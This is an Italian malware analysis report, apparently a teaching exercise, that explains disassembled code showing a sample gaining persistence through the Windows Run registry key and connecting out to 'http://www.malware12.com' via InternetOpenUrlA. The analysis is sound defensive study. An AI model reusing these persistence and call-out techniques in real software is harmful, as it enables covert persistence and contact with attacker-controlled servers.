Analisi del Malware Basata sui Screenshot Forniti

1. Meccanismo di Persistenza

Il malware ottiene la persistenza modificando il Registro di Windows per aggiungersi alla chiave 'Run', garantendo la sua esecuzione all'avvio del sistema.

Codice Assembly per la Persistenza:

```
0040286F    push    2                   ; samDesired
00402871    push    eax                 ; ulOptions
00402872                push                offset    SubKey                          ;
"Software\Microsoft\Windows\CurrentVersion\Run"
00402877    push    HKEY_LOCAL_MACHINE  ; hKey
0040287C    call    esi                 ; RegOpenKeyExW
...
004028A9    push    ecx                 ; lpValueName
004028AA    call    ds:RegSetValueExW
```

Spiegazione:

Il codice spinge vari parametri nello stack e chiama RegOpenKeyExW per aprire la chiave di registro 'Run'. La funzione RegSetValueExW viene poi chiamata per impostare un valore in questa chiave, configurando efficacemente il malware per l'esecuzione all'avvio del sistema.

2. Software Client Utilizzato per la Connessione a Internet

Il malware utilizza le funzioni 'InternetOpenA' e 'InternetOpenUrlA' dell'API di Windows per connettersi a Internet. La stringa user agent identifica l'uso di 'Internet Explorer 8.0.'

Codice Assembly per la Connessione a Internet:

```
00401150    push    offset szAgent      ; "Internet Explorer 8.0"
00401155    call    ds:InternetOpenA
0040115A    mov     edi, ds:InternetOpenUrlA
...
00401176    push    offset szUrl        ; "http://www.malware12.com"
0040117B    push    esi                 ; hInternet
0040117C    call    edi                 ; InternetOpenUrlA
```

Spiegazione:

La funzione InternetOpenA viene chiamata con il parametro 'Internet Explorer 8.0' per aprire una sessione internet. La funzione InternetOpenUrlA viene poi utilizzata per connettersi all'URL specificato.

3. Identificazione dell'URL e Funzione di Connessione

URL:

Il malware tenta di connettersi a 'http://www.malware12.com'.

Funzione di Connessione:

La connessione all'URL è gestita dalla funzione 'InternetOpenUrlA'.

Codice Assembly Rilevante:

```
00401176    push    offset szUrl        ; "http://www.malware12.com"
0040117B    push    esi                 ; hInternet
0040117C    call    edi                 ; InternetOpenUrlA
```

Spiegazione:

Il codice spinge l'URL 'http://www.malware12.com' nello stack. Chiama poi la funzione InternetOpenUrlA per effettuare la connessione utilizzando l'handle internet (hInternet).